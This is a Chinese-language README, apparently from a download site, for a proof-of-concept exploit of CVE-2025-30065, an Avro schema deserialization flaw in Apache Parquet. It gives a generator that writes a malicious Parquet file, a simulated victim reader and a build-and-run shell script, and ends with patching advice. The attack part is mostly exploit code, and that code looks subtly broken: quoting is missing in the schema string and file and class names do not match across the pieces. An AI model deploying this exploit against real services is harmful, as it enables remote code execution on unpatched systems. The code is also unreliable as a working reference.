Apache Parquet Avro反序列化漏洞POC:CVE-2025-30065

️ 风险概述

  • 严重性:CVSS评分 10.0(严重️)
  • 攻击方式:攻击者可构造恶意Parquet文件,其嵌入的Avro模式旨在触发任意Java类的实例化。
  • 后果:在特定条件下,可导致远程代码执行(RCE)

功能特性

本POC项目完整演示了CVE-2025-30065漏洞的利用链:

  • 恶意文件生成ParquetExploitGenerator 类创建包含恶意Avro模式的Parquet文件。
  • 漏洞触发模拟ParquetVictim 类模拟受害者应用程序读取恶意Parquet文件。
  • 依赖管理自动化:通过Shell脚本自动处理Maven依赖解析与项目编译。
  • 跨平台payload(历史参考)PayloadRecord 类展示了静态初始化块中的命令执行逻辑(在新版POC中已被更隐蔽的类实例化逻辑覆盖)。

安装指南

前置要求

  • Java 8+
  • Maven

安装步骤

项目提供了自动化构建脚本 CVE-2025-30065.sh

  1. 确保脚本具有可执行权限:
    sudo chmod +x CVE-2025-30065.sh
    
  2. 运行脚本,它将自动解析依赖、编译所有Java文件并执行完整的POC链条:
    ./CVE-2025-30065.sh
    

使用说明

运行自动化脚本后,将按顺序执行以下操作:

  1. 生成恶意Parquet文件:使用 ParquetExploitGenerator 创建一个名为 exploit-jeditorpane.parquet 的文件,其Avro模式的默认值字段被精心构造为实例化 javax.swing.JEditorPane 类。
  2. 模拟受害者读取ParquetVictim 应用程序读取该文件,在反序列化Avro模式并处理默认值时触发目标类的实例化。

基础工作流程

整个漏洞利用的核心流程封装在Shell脚本中,其逻辑如下:

  1. 使用Maven解析项目依赖并生成类路径文件。
  2. 编译所有必要的Java源代码。
  3. 运行漏洞生成器创建恶意文件。
  4. 运行受害者程序触发漏洞。

核心代码

1. 恶意Parquet文件生成器 (ParquetExploitGenerator.java)

/**
 * @author Blackash
 * @version 1.3
 * @license For authorized security research and educational purposes only.
 *
 * Generates a Parquet file with a crafted Avro schema to demonstrate CVE-2025-30065,
 * aligned with the vulnerability logic observed in the official Apache patch.
 *
 * This version avoids using custom classes and instead leverages a standard Java class
 * (javax.swing.JEditorPane) known to exhibit side effects when deserialized.
 *
 */
import org.apache.avro.Schema;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import org.apache.parquet.avro.AvroParquetWriter;
import org.apache.parquet.hadoop.ParquetWriter;

import java.io.IOException;

public class ParquetExploitGenerator {
    public static void main(String[] args) throws IOException {
        // 默认输出文件名为 exploit-jeditorpane.parquet
        String outputFile = args.length > 0 ? args[0] : "exploit-jeditorpane.parquet";
        // 恶意Avro模式定义:其‘trigger’字段的类型被设置为‘javax.swing.JEditorPane’记录
        String maliciousSchema = "{"
            + ""type": "record"," 
            + ""name": "ExploitRecord"," 
            + ""fields": ["
            + "  {"name": "trigger"," 
            + "   "type": {"type": "record", "name": "javax.swing.JEditorPane", "fields": []},"
            + "   "default": {}" // 默认值为空对象,触发目标类实例化
            + "  }"
            + "]"
            + "}";
        // 解析模式
        Schema schema = new Schema.Parser().parse(maliciousSchema);
        Path path = new Path(outputFile);
        Configuration conf = new Configuration();
        // 使用AvroParquetWriter写入文件
        try (ParquetWriter<Object> writer = AvroParquetWriter.builder(path)
                .withSchema(schema)
                .withConf(conf)
                .build()) {
            writer.write(null);
        }
        System.out.println("[+] Malicious Parquet file generated: " + outputFile);
        System.out.println("[!] Schema instantiates javax.swing.JEditorPane via default value.");
    }
}

2. 受害者应用程序 (ParquetVictim.java)

package victim;

import org.apache.avro.generic.GenericRecord;
import org.apache.parquet.avro.AvroParquetReader;
import org.apache.parquet.hadoop.ParquetReader;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;

public class ParquetVictim {
    public static void main(String[] args) throws Exception {
        // 读取恶意Parquet文件
        Path path = new Path("exploit.parquet");
        ParquetReader<GenericRecord> reader = AvroParquetReader.<GenericRecord>builder(path)
            .withConf(new Configuration())
            .build();
        // 读取记录,此操作会触发Avro模式中默认值的反序列化,从而实例化恶意类
        GenericRecord record = reader.read();
        System.out.println("Record loaded: " + record); // this triggers instantiation of default
    }
}

3. 自动化构建与执行脚本 (CVE-2025-30065.sh)

#!/bin/bash
BASE_DIR=$(pwd)
BUILD_DIR="$BASE_DIR/build/classes"
CP_FILE="$BASE_DIR/cp.txt"
JAR_DEPS=""
# 检查Maven并解析依赖
if command -v mvn &> /dev/null; then
    echo "[+] Resolving dependencies with Maven..."
    mvn dependency:build-classpath -Dmdep.outputFile=cp.txt > /dev/null
    if [ ! -f "$CP_FILE" ]; then
        echo "[-] Failed to generate classpath (cp.txt)."
        exit 1
    fi
    JAR_DEPS=$(cat "$CP_FILE")
else
    echo "[-] Maven not found. Please install Maven and run again."
    exit 1
fi
# 创建构建目录
mkdir -p "$BUILD_DIR"
echo "[+] Compiling PayloadRecord.java..."
javac -d "$BUILD_DIR" PayloadRecord.java || exit 1
echo "[+] Compiling ParquetExploitGenerator..."
javac -cp ".:$BUILD_DIR:$JAR_DEPS" -d "$BUILD_DIR" POC-CVE-2025-30065-ParquetExploitGenerator.java || exit 1
echo "[+] Running exploit generator..."
java -cp ".:$BUILD_DIR:$JAR_DEPS" POC-CVE-2025-30065-ParquetExploitGenerator || exit 1
echo "[+] Compiling ParquetVictim.java..."
javac -cp ".:$BUILD_DIR:$JAR_DEPS" -d "$BUILD_DIR" ParquetVictim.java || exit 1
echo "[+] Running victim (payload should trigger)..."
java -cp ".:$BUILD_DIR:$JAR_DEPS" ParquetVictim

安全建议与缓解措施

  1. 立即更新:将 Apache Parquet Java 库升级至 1.15.1 或更高版本
  2. 启用类允许列表
    • 配置 org.apache.parquet.avro.SERIALIZABLE_PACKAGES,仅允许受信任的包(避免使用 *)。
    • 使用 org.apache.avro.TRUSTED_PACKAGES 来限制Avro模式行为。
  3. 来源控制:避免处理来自不可信来源的Parquet文件,或对文件进行安全扫描。

免责声明

本站提供的所有下载资源均来自互联网,仅提供学习交流使用,版权归原作者所有。如需商业使用,请联系原作者获得授权。 如您发现有涉嫌侵权的内容,请联系我们 邮箱:alixiixcom@163.com